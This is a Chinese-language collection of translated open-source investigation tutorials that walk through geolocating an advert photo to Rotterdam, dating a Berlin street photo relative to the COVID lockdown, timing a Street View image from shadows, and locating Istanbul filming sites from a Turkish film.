良好的开源情报报告应该足够清晰、准确，并且任何评论您的发现的人都应该能够轻松理解您是如何得出结论的。详见下面的文章：

- 这篇文章很重要《开源调查应该是一种心智：得到它你需要几个步骤》

这意味着一开始就必须将结构和系统化纳入您的研究。

这不仅可以确保您不会切线过多，而且，还可以确保最终产品更能经受严格的检查。

“侦探挑战” 游戏当然很好玩，但是它们也是实践的有用工具，因为，一些更艰巨的挑战恰恰展示了更复杂的 “现实” 调查中所需要的技巧方法。

这就是为什么总是建议那些想了解更多关于开源情报技巧的人尝试解

决 “侦探挑战” 难题以提高自己的技能的原因。

nixintel 参与的这次侦探挑战再次展示了一种有调理的方法以解决难题，这一演示可能具有较高的价值 —— 虽然题目本身并不复杂，它能用实例帮助您学习开源情报的思考方式。在这里看到原文《Using Gap Analysis For Smarter OSINT—Quiztime 4th March 2020》。

今天的题目是下面这样：

这张照片有点不对劲，您看出来了吗？不对劲的地方正是问题所在。同时另一个问题是：Swapfiets 到底是做什么的，为什么这则广告引起 Tilman 认为它有问题？

该广告是自行车租赁和维修服务 Swapfiets 提供的，该公司自豪地宣布将其服务范围推广到德国波恩 —— 但我们如何确定该照片确实在波恩？如果不在波恩， 那它在哪儿？

以下就是演示。最终，我们将能够证明这张照片不仅不在波恩，而且还能查明照片的确切位置，以证明我们的观点。现在从头开始 ...

差距分析

「图」

这不是第一次谈及差距分析，它是开源情报分析中一个常用的方法。本文不再做详细解释。

- 关于差距分析，您可以参见这篇演示，它更详细且有趣《千头万绪怎么办？介绍一种很重要的信息验证和深入调查方法》

这是一种非常简单的方法，可让您确定要实际实现的目标以及实际的实现方式，从而进行研究。

尝试采用捷径或尝试跳跃的方法可能很诱人，但是，从长远来看，这不一定能很好地帮您解决问题。

差距分析将盘点您拥有的初始信息，然后应用四个简单的问题来确定下一步要做的是什么。

这种方法具有简单性和可扩展性。四个问题是：

- 我知道什么

- 这些东西意味着什么
- 所以现在我还需要知道什么
- 我如何找到

因此，您可以将其应用于一开始着手时的状态，那时候您只拥有非常有限的信息，而很快您将能够确定下一步要做什么，而不会在途中走太多弯路。

试一试吧：

1、我们知道什么

这是对一家声称位于波恩的自行车公司的广告，但是 Tilman 对此有些怀疑。

2、这些东西意味着什么

我们需要知道这张照片的拍摄地点，以便可以确认或否认波恩是否是正确的位置。

3、现在我还需要知道些什么

需要知道这张照片是在哪里拍摄的。

4、我如何找到答案

我们需要收集足够的信息来准确定位这张照片。可以从尝试查找原始源开始。

查找图像的原始来源并不难。可以从访问 Swapfiets 的 Facebook 页面作为起点。看一下能在这里发现什么：

这是一个非常熟悉的封面图像 —— 但与 Tilman 看到的图像不同，它更大并且没有被裁剪过。这意味着它可能包含重要的额外细节。

从这里您还可以了解到，Swapfiets 拥有一个 .nl 网站，因此它们很可能是一家荷兰公司：

「图」

后面将很快返回该网站。现在，我们可以通过单击页面顶部的横幅来获取需要定位的图像的完整尺寸版本：

这样好多了！这里有很多细节，最终将使您能够准确识别出这张图片的拍摄地点。

现在，在应用另一轮差距分析来决定之后需要做些什么之前，我们可以从照片中收集尽可能多的信息。

从照片中提取信息没有什么魔法，只需要用眼睛！

如果您比较困惑，那么使用 *20个问题* 之类的小技巧可能会迫使您拉出更多的细节。

您可以从照片中仅添加一些观察结果开始，然后将这些观察结果添加到上述 “我知道什么” 问题中，作为下一轮差距分析的一部分。以下是一些您需要添加的东西：# 这是一座高楼林立的城市

- 大街上有电车
- 右侧车牌的部分可见大概是 PJ-620** * 灯柱上有黑白色的条纹
- 道路的左侧有一些不寻常的建筑物，其中一栋有两个独特的金属柱，而另一栋带有某种直立在街道上的矩形柱。

只能找到这五点，但在这种情况下，将其与 Swapfiets Facebook 页面上的信息结合起来，可能就已经足够了。现在是时候将新掌握到的线索用于另一轮差距分析了：

1、我知道什么

该位置是一座拥有高大、现代建筑的城市，路灯柱上有黑白色的条纹，街道上还有电车轨道。汽车的车牌部分可见。 Swapfiets 在此提供服务。 Swapfiets 是一家荷兰公司（Fiets 是荷兰语 “自行车” 的意思）。

2、这些信息意味着什么

该地点将是一座现代城市，有高大的建筑物，街上有电车。Swapfiets 将在那里提供服务。也许可以使用街道特征和汽车牌照来寻找答案。

3、现在还需要知道些什么

Swapfiets 在哪些城市运营？并且其中哪些城市还在街上运行电车？

4、如何找到

Swapfiets 网站将是一个不错的起点。维基百科也许也是了解电车的好地方。

您可以看到，这里并没有逐一使用每条信息来进行调查，而是专注于最有希望确定国家和城市的信息。有关街道特征的信息将在以后进行微调。

国家&城市

「图」

Swapfiets.nl 网站包含他们运行服务的所有位置的列表。他们在荷兰、比利时、丹麦和德国的数十个不同城市提供自行车出租服务。

这似乎有些令人生畏，但我们可以对我们的调查计划充满信心，然后继续进行，而不必单独检查所有这些城市的匹配特征。

为什么？

因为先前已经确定了正确位置将具有的某些特征，所以可以将这些相同的参数应用于所有 Swapfiets 位置以确认或消除它们。

一种方法是在转到特定城市之前先确定国家/地区。

通过使用 Swapfiets 网站，我们已经将其范围缩小到了四个可能的国家。

可以使用其他任何信息来找到正确的信息吗？汽车牌照是最明显的起点：

「图」

可以使用 WorldLicensePlates 将此牌照与四个可能国家的牌照进行比较。以下是一些荷兰车牌的示例：

「图」

「图」

德国的：

丹麦的：

「图」

最后是比利时的：

在这四个国家中，哪一个与图片中的最匹配？尽管在荷兰，白色车牌似乎很少见，但只有荷兰车牌真的很接近。

如果最后证明在这一点上错了，那也没关系；因为我们有一个结构化的方法，所以即便走错了方向，也总是可以追溯到先前的步骤并重新开始。这就是技巧的利好之处。比在 Google 中盲目随机搜索字词或将无尽的图片加载到 Yandex 并祈祷好运的做法要现实得多。

因此，如果我们以这张照片是在荷兰拍摄的为基础进行工作的，那么现在就可以在 “我需要知道什么” 的第二部分中添加内容了。

问题：荷兰的哪些城市的街道上有电车？如何查找？从维基百科开始。

电车

「图」

实际上，所有内容都有一个 Wikipedia 页面，荷兰电车系统也不例外。这个页面介绍了整个荷兰的电车系统。

从中我们可以了解到，荷兰只有五个城镇仍然有电车系统。它们是：代尔夫特、乌得勒支、海牙、阿姆斯特丹和鹿特丹。不过，现在打开 Google 地图并开始寻找这些城市的匹配位置还为时过早。

有了有关城市的新信息，我们可以进行另一轮快速的差距分析，以决定下一步需要做的情，然后再去折腾地图。

1、我知道什么

这张照片是在代尔夫特、乌得勒支、海牙、阿姆斯特丹或鹿特丹拍摄的。

该位置在有一些高楼的街道上。其中两个具有一些非常独特的柱子：

2、这意味着什么

如果可以在这五个城市之一中找到这些与众不同的建筑，就将能够找

到位置。将能够使用电车路线和条纹灯柱找到确切的位置。

3、我还需要知道什么

在五个可能的城市中，哪个城市的建筑物具有这些鲜明的特征？

4、如何找到

我们将使用 Phorio 和 Skyscraper Page 快速浏览五个城市中每座最著名的建筑物。

Phorio & Skyscraper

「图」

Phorio 和 Skyscraper Page 是应对地理位置挑战的出色工具。

Phorio 包含与世界各地城市中的大型建筑物有关的各种数据，包括高度、地图和照片信息。它还通常包含特定城市关键建筑物的天际线照片和高质量图片。

Skyscraper 页面包含城市中所有关键建筑物的草图，并按高度排列它们，因此非常适合识别特定建筑物和天际线特征。

为了解决本挑战的问题，可以针对我们确定的五个可能的城市中的每个城市，在 Phorio 和 Skyscraper Page 网站上进行浏览，以查看哪个与照片中的建筑物匹配。

以代尔夫特为例。这是 Phorio 页面：

包含城市所有最著名建筑物的图片：

这里没有立即明显的匹配。下面是代尔夫特在Skyscraper Page 上的样子：

我在图片中看不到建筑物的任何匹配。这里还有些别的东西，代尔夫特可能有电车，但它似乎并没有真正的大型商业建筑，如图所示。

它最大的建筑物是大学或居民区，可能因为该城市太小了。乌得勒支稍大一点，有一些较大的商业建筑，但仍然没有明显的匹配。排除法，所以它必须是 Amsterdam，Den Haag 或 Rotterdam。

这些城市更大，因此检查其 Phorio 资料的时间会略长一些，但我仍然发现这比使用 Google Maps 更快。

为了进行更精细的搜索，Phorio 允许选择不同的过滤器，例如建筑物类型或区域。这些是鹿特丹可用的过滤器：

在所有不同的建筑物类型（或 “channels”）中，目标的位置似乎最有可能是办公楼，因此我们现在就来看一下。

它提供了不错的建筑物选择。这是检查大量建筑物的非常有效的方法。从列表中可以看出，其中一栋特定的建筑引人注目。

Unilever Building 的金属柱与原始照片中的建筑物相同。我们需要检查它是否正确。

该建筑物有其自己的 Phorio 和 Skyscraperpage 条目，因此我们也可以找到其地址。它位于鹿特丹 Weena 455。这是在 Google Maps 3D 中的样子：

看起来很不错！

我们在此处确定的所有特征都存在：电车、带有金属柱的建筑物，所有相同的高楼、黑白条纹的灯柱、以及所有其他街道细节都匹配。

这意味着该照片是在鹿特丹的 Delfste Poort 拍摄的。这就解释了为什么 Tilman 并不完全相信原始图片：

以上绝不是解决此挑战的唯一方法。

通常有不止一种解决方案，但是如果您陷入了困境或不确定下一步该怎么做，记住，差距分析是一种使事情变得更加清晰和结构化的极好方法。

思考方式是比工具更重要的东西。〇

原文

DC14 寻找时间的踪迹：侦探挑战游戏 - iyouport

侦探挑战游戏

【2020年10月22日存档】照片的准确拍摄时间很重要，这意味着发布者声称发生的事究竟是否存在、是否意味着与当下的局势有关。本次侦探挑战的题目并不难，但是您必需知道，通过观察细节得出的只是假设，您需要找到足够的证据来验证您的假设，否则不可以此为据

并非所有基于图像的开源情报调查都与地理定位有关。

知道一张照片的拍摄地点总是很有帮助的，但是在试图核实一张照片时，知道它的拍摄时间也同样非常重要。

这张照片显示的究竟是被COVID袭击的意大利医院、还是表明克罗地亚地震的余波？这些食品包是留给印度冠状病毒幸存者的，还是真的来自于大流行之前发生地震的土耳其？ ……

如果能够确定一张照片的拍摄时间，那么就能更容易地确定它是否真的显示了发布者所声称的内容。

本次的侦探挑战游戏是一个很好的机会，可以帮助您练习一些有助于识别照片拍摄时间的技能。nixintel 对此做出了演示。

本次挑战的题目如下：

您需要回答的问题是：这张照片是在封锁前还是封锁后拍摄的。

要做到这一点，您需要知道图片的拍摄地点，这样就可以研究相关国家的封锁政策的开始和结束日期。

幸运的是，在本案例的情况下，地理定位非常容易，您可以看到柏林亚历山大广场 U-Bahn 驻地标志，所以您知道这是在柏林拍摄的，大约是从这里开始的：

大约从2020年3月19日开始，柏林的封锁在不同的部门实施。从2020年5月6日开始，封锁逐步解除，所以您要做的是，从这张照片中寻找信息，以帮助判断它是在3月19日之前还是5月6日之后拍摄的。

为了做到这一点，我们将从图片中提取尽可能多的细节，看看这些细节能显示出什么时间和日期，然后评估这些细节是否意味着照片更有可能是在封锁之前或之后拍摄的。

下面来逐一看看这些线索。

1、树木

「图」

「图」

在图像的左侧可见两棵树。树上没有叶子，所以最好认为它是在封锁之前而不是之后拍摄的照片。

这就行了吗？哦不，假设总是很危险的，如果您将假设视为理所当然而没有先检查它们，结果就很有可能南辕北辙。

📌 能够找到支持论点的证据、而不是仅仅是假设并希望获得最好的证据，这一点更为重要。

那么我们该怎么做呢？

有几种方法，但是最直接的方法是访问从亚历山大广场实时广播的众多网络摄像头之一的 livefeed。

这个feed 来自 Park Inn Hotel 还包括回溯镜头的存档（从屏幕右侧的弹出菜单访问）。

这意味着您可以检查一下5月6日柏林解除封锁开始时亚历山大广场的树木是个什么样：

由此可以证明，在封锁结束的那一天，树木是绿色的，满是树叶，所以现在您知道了 —— 而不只是在假设 —— 照片是在封锁开始之前拍摄的。

2、服饰

「图」

图片中的人穿着什么？他们中的大多数人都穿着厚大衣，有的还戴着帽子和围巾。再一次，很容易自动假设这意味着照片是在封锁开始之前在较冷的天气拍摄的。

请随时记得，要谨慎对待天气；上个周末，我在花园里时被晒伤，但三天后又冷得要命，因此试图从单个快照中判断日期可能有很大风险。

您最好去尝试找到可靠的信息来源以支持您的假设。

使用 Wolfram Alpha 的历史天气数据库，我们可以看到自封锁结束以来柏林的天气一直相当温和：

现在将它与冷得多的被封锁期间进行比较：

尽管我们不知道这张照片是在封锁之前的一周拍摄的，但可以客观地表明，封锁之前的时段始终比解除封锁时要更冷一些，因此外套和帽子表明该图像最可能是在封锁之前拍摄的。

📌 您需要培养良好的验证习惯，仅仅一时猜对了并不能保证您永远“猜对” —— 尤其是在信息战中，虚假信息创造者会精心选取那些容易混淆你令你猜错的细节信息。要特别当心。把验证假设纳入习惯，您就不会被蒙骗。

大多数现实生活中的开源情报难题很少能如此明显让您找到线索，因此始终有必要提供证据来支持案例的每个部分。

3、 C＆A销售

「图」

树木和季节性服装可能是最简单的时间线索，但是，还有其他线索吗？

在照片的左上方，可以看到 C＆A 的亚历山大广场分支。好像有一个促销，对C＆A网站的快速检查显示他们现在也有一个促销 —— 那么这有什么用？

这很棘手，因为零售商一直都有促销，所以有促销的事实并不能证明这张照片是在封锁之前还是之后拍摄的。您需要先深入一些。

C＆A网站上有一些最新信息，说明自从冠状病毒封锁政策结束以来，哪些商店已重新开放：

他们的德国商店都还没有开放，因此在封锁结束后拍摄这张照片的可能性似乎很小。

研究C＆A主题标签 #BestDeal 并不太有用。多年来，这一直是他们的营销口号之一，所以就其本身而言，它在查找拍摄时间的目的上并没有帮助缩小范围。

我们至少可以为拍摄该图像的最早日期设置一些时间参数。这超出了本挑战的范围，但对于是否可以说图片拍摄的日期不早于某个特定日期会很有用。

C＆A窗口中显示的营销材料可以对此有所帮助。这就是原始照片中出现的样子：

「图」

我们可以通过访问 Google 地图上的目标位置以找到人们从C＆A商店门前的区域上传的图像，并查看是否出现了相同的材料。从这张图片中可以看到，这些广告早在2019年8月就已经存在了：

「图」

我找不到早于该日期的任何匹配图像，因此可以判断拍摄时间不会早于这个日期。

4、摄影师的位置？

「图」

从图片的角度来看，可以大致估算出拍摄者是从 Alexanderplatz 3号（Saturn 电子产品连锁店）拍摄的照片：

与C＆A不同，Saturn 已在亚历山大广场（Alexanderplatz）重新开了商店，因此拍摄者在这座大楼内的事实无助于确认这张照片是在封锁之前还是在之后拍摄的。

5、Galeria Kaufhof 商场的广告

「图」

这是一个很小的细节，但是在图片的右边有这么一个广告，上面写着“ DIE ODER KEINE”（“This or none at all”）。这是 Galeria Kaufhof 的新会员卡和应用程序的促销信息。

该公司于今年1月撤回了先前的奖励计划，该广告的替代奖励卡和应用程序从1月初开始发布：

因此，这意味着该图片很可能是在2020年初拍摄的，当时封锁已经开始，那会 Galeria Kaufhof 正在大力推广其新的会员卡。

再一次，您应该谨慎对待这一推论。Galeria Kaufhof 应用程序仍然可用，并于5月4日进行了更新，因此在封锁之前启动应用程序的事实并不意味着封锁结束时广告会自动消失。

就其本身而言，这种广告不可能作为证据，但是，当我们将其与其他细节放在一起时，它就会倾向于支持照片是在封锁之前拍摄的推论。

6、喷泉

「图」

在原始图像中，喷泉是干的，水源似乎已关闭，表明已停止使用。但是，在 Twitter 上快速搜索 Alexanderplatz 的最新图像找到一张显示为5月9日发布的图像，那是解除封锁限制的三天后（通过 @PaulGaebler）：

水源已经重新打开，因此这再次表明原始图像更有可能是在封锁之前而不是之后拍摄的。

7、公交车

「图」

拍摄这张照片时，窗户上映出了橙色和绿色的巴士。一个小小的 Google图片搜索柏林的橙色和绿色公交车，很快就能找到旅行公司 Flixbus：

他们的网站显示，他们已于今年3月17日暂停运营：

「图」

截至今天，Flixbus 似乎仍处于暂停状态。尽管他们在封锁期间曾进行过几次运营以帮助人们返回原籍国，但他们仍未真正恢复运营，因此在柏林市中心 **Flixbus** 的存在是一个强有力的标志，表明该图像是在封锁开始之前拍摄的。

8、人群行为特征

「图」

即使德国的封锁已经结束，但仍然存在很多限制，包括与他人的距离保持1.5米，以及在购物时戴上口罩：

将这点与照片中人物的行为进行对比：

「图」

没有看到口罩，也没有看到太多的社交距离。尽管在德国有少数人反对封锁规定，但如此普遍的和随意地无视规则和社会习俗是非常不合乎德国风格的，不是吗？

唯一明智的结论是，这张照片是在防疫限制实施之前拍摄的，当时人们不需要担心口罩和距离问题。〇

Chronolocation Clues—Quiztime 11th May 2020

原文

DC2 让阴影说话：开源调查小游戏 - iyouport

侦探挑战游戏

【2019年10月10日存档】图像拍摄的时间是最重要的真相验证元素

上个月的演示是使用阴影验证视频拍摄日期的调查，详见《新疆火车站戴手铐的视频是真的吗？在哪里拍摄到的？》

该验证的主题：无人机拍摄的新疆火车站视频，是首次上传到互联网，并且，上传者是新账户，也就是说常规的、简单的视频验证技巧完全用不上。

这种情况下只能通过对视频本身的调查进行验证 —— 其中阴影就是拍摄时间的最可靠凭据。

本文将用另一个演示介绍：🌤如何使用阴影定位拍摄时间。

时间非常重要。造假信息 —— 尤其是极为重要的情报 —— 经常使用篡改元数据的方法实现欺骗。再举一个近期的例子。

下面是9月3日，中国军方发布的照片：

这些照片没有抹去元数据：

纬度： 28.48.115.687103 ；经度： 92.8.24.299926

下图，3D版谷歌地球。根据阴影，这张照片是在 11：00-12：00 之间拍摄的，当时部队正朝着山南方向前进。拍摄设备：华为 P20（EML-T100）使用了GPS支持：

照片的元数据显示拍摄于下午16：57，但是，根据阴影的长度和右侧的山脊，可以得出结论，这张照片是在 11：00-12：00 之间拍摄的。这意味着有人在上传之前篡改了元数据。

于是可以判断，军方的照片是虚假情报。

就是这么简单。

但是，在没有元数据的情况下 —— 以及如上所述的例子，在元数据造假的情况下 —— 准确的时间判断往往是验证过程中比较棘手的问题。

那么如何确认图像拍摄的时间和日期？

介绍一个小方法，以谷歌街景为例。部分技巧也可以用在很多其他图像验证工作中。

位置和周边环境

这里使用的例子是下面这张图。你能知道它是具体在哪天的什么时间拍摄的吗？

这是以色列的一条步行路，毗邻特拉维夫的雷丁发电站。Google Streetview 中指向此位置的链接为：https：//goo.gl/maps/3bEuT2yJcTR2

在这张照片的左边可以看到发电厂，在东北部，可以看到士德多夫机场。

阴影似乎来自东方，但这不足以确定准确的时间。

我们需要确定太阳的方向并尽可能接近精确的角度，最好是能帮我们识别拍摄这张照片的确切时间。

寻找日期

仔细看谷歌街景，能找到这张图于2015年6月捕获，但是没有确切的日期。

「图」

在这个案例中，无法通过元数据或发送到浏览器的响应或Google地球中找到它。所以以上这些常规方法都无效。

仔细看这张图你会发现，拍摄的日子里天阴得很沉。

回顾2015年6月特拉维夫的历史天气数据，你会发现只有一个特定的

早晨（是的早上，还记得影子是从东方来的吗？）与那个月的其他日子相比，有一个较重的阴天。

使用这条信息，有理由相信这就是街景拍摄的确切日子。

2015年6月的整个月天气可在“Time and Date”网站查看：https://www.timeanddate.com/weather/israel/tel-aviv/historic?month＝6&year＝2015

找到具体时间

现在我们有了日期和位置，找到确切的时间是相对最简单的部分。

只不过是找出阴影的来源，换句话说：在捕获图像的那一刻太阳位于哪里。

返回 Google Streetview，向桥的方向移动，两次“点击”（是鼠标点击，而不是以千米为单位）并稍微向左转。

这样做你会发现阴影与背景中的建筑物完美对齐，因此可以尽可能准确地找到太阳所在的方向。

为了找到阴影指向的确切位置，我们需要找出可以在背景中看到哪些建筑物，因此需要仔细研究它。

在下面绿色框中，看到前景中有一个机库或棚屋。

在橙色框中是一排多个公寓楼，左边还有一些似乎更靠近的建筑物，用红色框显示。

这样你就可以知道确切位置了，在这里：https://goo.gl/maps/eHwAEf4Xfw32 我们可以朝着正在看的方向画一条线。如下图。

通过使用至少有点接近我们所看到的日期的清晰卫星图像，可以找到上图中 以红色和橙色框突出显示的建筑物。

绿色圆圈是与太阳方向似乎一致的建筑物，可以通过使用我们之前发现的阴影并将其一直延伸到背景中的建筑物来找到。

在下面的截图中有点不容易看，但是请亲自尝试一下你会发现一点都不难。

调用工具

现在有了一个确切的位置、捕获图像的日期、以及非常强大的可见线索，太阳的方向。

我们可以使用 Suncalc 尽可能接近准确的太阳位置，但有时在某些情况下可能会有些困难，稍后我们将展示如何使用Google地球来帮助解决这个问题。

在 Suncalc，首先把日期设置为2015年6月28日，然后将标记放在我们站立的位置。

然后调试时间，直到它与上图“橙色”框中左边的第二个建筑物对齐。在来回滑动中你能发现，最终合适的是以下内容：**2015年6月28日 8:29 UTC + 3**

为了仔细检查这一发现，我们将仔细观察“方位角”或太阳的方向，在上图中以红色框显示。

如果转到Google地球，就可以使用标尺工具确定太阳的方向。

为此，单击菜单栏上的标尺，然后首先单击我们站立的位置（靠近桥），然后单击阴影所指向的第二个建筑物。

谷歌地球会呈现一个81.86°的角度，这非常接近前面使用 Suncalc 发现的81.78°。

如果您能够通过这种准确的方式找到方向，那么我个人会建议您在使用 Suncalc 之前使用这种方法。

一般提示

当试图找到照片拍摄的具体日期和时间时，首先要尝试找到与阴影朝向完全相同方向的观察对象。

只有太阳的方向足以找到准确时间，只需要你首先有一个确切的拍摄日期。

如果仅知道月份和年份，则准确度大致只能在15分钟左右，具体取决于您所处的位置以及一年中的某个时间。

如果你在开始时一无所知，那么首先必须使用其他方法尽可能准确地

确定日期，这一做法可以单独讲。

由于本文中的案例是谷歌街景，于是很容易找到符合该标准的地点。

虽然需要有一个小小的警告：谷歌街景有时会拼接不同时刻的图片。因此，请确保在 Google Streetview 中移动时保持在同一天的“捕获序列”内。

好啦，您可以试试看。

Shadows and Suncalc

原文

DC3 使用电影做侦探挑战演示 - iyouport

侦探挑战游戏

【2019年10月30日存档】民间掌握真相的事业最重要的基础设施并非培训，而是尝试。用不断地尝试培养分析性的思维方式，任何培训都无法帮您掌握这点。练习需要是主动的，您身边的一切都可以作为习题，包括看片时间

如果你厌恶假消息，甚至只是在推特活跃，你就很容易发现，现在有越来越多的人已经将业余爱好甚至职业转向了在线视觉材料的验证，如视频和图片（在假消息鼎盛的时代，信息验证工作是一项非常值钱的事业）。

我们介绍过验证视觉信息的方法，比如《公民记者如何验证民间爆料视频的真实性？》；《信息验证：如何自动反向图片搜索 YouTube 和 Vimeo 的视频？》；《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》等等。

但是，通过社交媒体（包括加密通讯）传输的视觉信息往往没有元数据，于是，在其他验证步骤失败的情况下，您应该能够通过照片本身来判断其是否为传播者所声称的事发地点和时间。

这方面技巧我们也演示过，比如《让阴影说话：开源调查小游戏》；《侦探挑战小游戏：Quiztime》

💡寻找真相、用证据反驳谎言，这需要首先构建一套思考方式、一种习惯；就如人们练习用非惯用手写字那样，需要在各种情况下有意识地使用那只手，这样就能刺激相应的脑区使其变得更活跃。

练习是最好的教程。

练习可以从任何地方开始。甚至包括您在看片的时候。

看片可以学到东西吗？当然可以。本文是 Youri 提供的案例，它就来自电影。

案例是土耳其电影《命运》。

用它来作一个小练习：查找其中一些镜头是在哪里取景的。

这和您在社交媒体上看到的任何视频一样，不会有元数据作为验证。需要通过画面中的细节寻找线索。

本文准备寻找的是电影主角之一 Uğur 的住所的地理位置。您可以在几个不同的场景中看到这个建筑物：这是最佳拍摄位置之一，因为您可以看到整个建筑物以及周围的其他建筑物。

这是另一个重要镜头。这次 Bekir 看着 Uğur 的房子。你可以看到他身后的区域，也有一些泛光灯可见。

从Uğur的窗口往外看的样子

这是窗外视角的另一个镜头

以上都是电影中出现的画面。还有一些其他场景，但它们基本上显示相同的东西，而且都是模糊的，没有准确的标示。

现在直接分析这些图片，以及我们掌握的其他信息。

我们知道这个故事的开头发生在伊斯坦布尔，并且很可能是在那里拍摄的。

是怎么知道的？

至少一个场景可以证明这点，该场景显示了一个易于识别的桥梁，位于伊斯坦布尔特定区域。

这是一座巨大的桥，在土耳其很罕见。如果您使用街景视图访问 Google 地图并检查每个桥梁，就会能发现电影中的桥梁与金角湾大桥（a.k.aHaliçKöprüsü）相对应。

通过这座桥可以知道现在应该关注伊斯坦布尔的哪一个方向 —— 这是伊斯坦布尔靠近欧洲的一侧，更具体地说是金角湾附近的地区。

这是最容易的部分，因为只需要检查伊斯坦布尔的主要桥梁就可以了。对照就是下面这样：电影中的场景

正如您所看到的，结构相同，背景也是对应的。唯一的区别是，街景

图是从桥的另一边拍摄的。

现在知道的另一件事是，这部电影是2006年发行的，也就是说它大概在2006年之前的一两年拍摄。

这可能是个坏消息，因为这些年来很多建筑物也许已经被改变或拆除。但是不要紧，依旧有办法解决这个问题（在即时新闻的视频和图像验证中您很少会遇到这样的问题）

使用哪些工具，如何找到它？

首先需要花点时间来计划一下方法。

找出可以使用哪些在线资源来确定该建筑物的位置。

从基础知识开始 —— 考虑全球地理定位爱好者最常用的工具：

- 谷歌地图。

优点：拥有覆盖伊斯坦布尔大部分社区和地区的街景。

您还可以看到历史街景。它易于使用，您可以使用3D工具查看某些建筑物，并且可以分析地形（使用此功能可以在浏览器设置中启用硬件加速）。

缺点：没有历史卫星图像。

- 谷歌地球。

优点：有历史卫星图像，在这种情况下非常重要，因为我们正在调查一个基于超过10年的视频资料的区域。

缺点：在这里看不到较旧的街景全景图，在我看来，与谷歌地图相比，它使用起来有点不太舒服。

- Yandex地图：有土耳其街景。甚至在 Google 推出街景之前，Yandex 就已经有了这项服务。

换句话说，它也有较旧的全景图。

但是另一方面，无法用它看到旧的卫星图像。

- 谷歌搜索包括反向图像搜索。

- Yandex 搜索包括反向图像搜索。
- 谷歌翻译。毕竟，很多人不会说土耳其语。不用担心你可以用它来翻译非常基本的东西。

上面列出的工具都是最常用的典型工具，无论任何位置、国家/地区。但在本案例中，可能还希望使用到更具针对伊斯坦布尔的开源数据的网站。

简单搜索一下就能发现，伊斯坦布尔拥有自己的网站，包括伊斯坦布尔地图、历史地图和卫星图像，街景和地形分析。

- İstanbul Şehir Haritası

调查是很有趣的事。有时你会会惊讶地“发现”一些东西，并同时意识到它一直在你鼻子底下。

这并不是浪费时间，通过每一种可能性找到并验证结论的过程是大多数调查必经的方式。

但本文将重点介绍另一种更有效的方法。

在电影中你能看到许多其他地方可能更容易识别，并且可能在同一区域拍摄。

最简单的目标是具有清晰易读的名称的目标。

例如。其中一个主角站在珠宝店前面的场景。商店的招牌清晰可见。*Topaloğlu* 珠宝店在伊斯坦布尔的某处

这比一栋黑漆漆的公寓楼可容易多了 —— 搜索它的名字就能发现很多东西。

毕竟，目前为止你知道它是什么类型的商店、在什么城市、及其名字是什么，最重要的是，知道这个场景拍摄的大致日期，2006年或更早一点。

仍然是相同的场景，但不同的镜头，另一个名称也是清晰可见的。这次它可能是一家名为 Ceren 的餐厅。

这两个地方可能在同一条街上或彼此靠近。另一个地方，Ceren

先试着谷歌搜索 Ceren：

仔细观察你会发现 Ceren 是一个蛋糕店（BörekSalonu），虽然这点不容易辨认。

所以我的 Google 查询是这样的：

你能看到，上图中前三个结果都在一个名为 Kağıthane 的地区。现在点击第一个结果。第一个结果

第二个结果

第三个结果

如上，出现了矛盾。一些网站称它在 ErgünSokak43 上，一些网站称它在 Sokullu Caddesi 43 上。

回到地图上， 你能看到 ErgünSk 43 不存在，但 Sokullu Caddesi 43 确实存在，而且它与 ErgünSokak 在一起。

你可以检查全景图以查看位置是否相似，但我现在会跳过此部分。

接下来看看 Nurtepe 是否有一家名为 Topaloğlu kuuumculuk 的珠宝店。

Google 查询如下：

下面查看 Nurtepe 在地图上的位置、以及与我们之前找到的 Golden Horn 桥的距离。如下图所示，距离并不太远。不太远，乘坐公交车只需几分钟。

当主人公 Uğur 穿过街道时，你能在画面中找到进一步的证据。用红色标记的树和建筑物的位置

使用 Yandex 和 İstanbulŞehirHaritası 的街景功能就能检查之前的发现是否成立。在街景图中对比树木和建筑物的位置，基本相同

上面的街景显示它已经发生了很大变化，但树木仍然对应。

不止树木，还有因为它与我们之前提到的那间珠宝商在同一区域，所以可以假定这是同一个地点。

不可否认，证据很少，但是当你把所有东西加在一起时，几乎可以肯定它是同一个地方。因为巧合太多了。

在继续之前先回顾一下

你可以尝试一次找到一个位置，但这样做也许很耗时。

当然可以假设场景A是在场景B附近拍摄的，但情况并非总是如此；但是当你只有很少的视觉线索时，首先要找到更容易的位置，它可能会给你一个暗示关于它可能是在哪个区域。

目标是公寓的位置，以上分析了视觉线索，并得出结论如下：# 主人公 Uğur 的公寓在电影院附近，那里有一个大广场。

- 那个广场周围有一个可以很容易与周边区别开来的围栏。
- 该广场上有一些泛光灯，表明附近可能有建筑工地或运动场。
- 我们发现大多数场景都是在 Kâğıthane、Beyoğlu 和 Eyüp 地区拍摄的，所以我们想要专注于这个区域，更具体地说是 Nurtepe。

1. 它们靠近房屋和公寓，看起来像是大广场、公园或游乐场。

- 从这个距离无法判断周围是否有任何围栏，需要使用某种街道视图来确定这一点。
- 同上，也不确定那些地方是否有泛光灯，但在其中一些地方周围似乎有一些足球场，可能意味着那里也有一些泛光灯。
- 所有这些地方都在 Kâğıthane、Beyoğlu、Eyüp 地区。其中一些在 Nurtepe。

您可能想要在 Google 搜索中搜索该区域内的所有公园、广场、游乐场和运动场，但我选择不这样做。

希望尽可能高效地完成这项工作，因此必须在脑海中制作一种列表（或者可以自由地列出可能的地点）。

其中哪个最有可能？在 Nurtepe 的一个地方也许符合前面提到的条件。

因此，应该从 Nurtepe 中可能有泛光灯的地方开始，看起来最像一个正方形，而不仅仅是几个空地。

这也许是最好的起点，就是下面这样：这是一个广场，靠近公寓，由于足球场，它很可能有泛光灯

这是一个广场，旁边有公寓，由于是足球场它很可能有泛光灯。此

外，它非常接近我们发现的其他地方之一，Sokullu caddesi。

现在必须检查它是否在地面上与电影中的位置相对应。

于是选择使用 İstanbulŞehirHaritası，因为它是唯一一个拥有广场街景全景的地图服务。广场的一角，可以看到很多相似之处。

对比电影中的场景照片

另一个比较

如上，看起来这就是拍摄场景的地方，但是公寓楼和角落里的空地在哪？

您能看到这张全景照片是在2014年拍摄的，至少在电影拍摄后的8年，所以很多东西可能改变。因此，要完全确定，必须使用历史卫星图像。

有大量的网站和工具可以做到这点。在这里将使用Google地球，因为您几乎可以在任何地方使用它。

伊斯坦布尔 ŞehirHaritası 历史卫星图像理论上会更好，但它仅适用于伊斯坦布尔。*2007*年的卫星图像

*2010*年

*2011*年，在这里您可以看到公寓对面的建筑物

*2012*年，公寓旁边出现了一座新建筑。

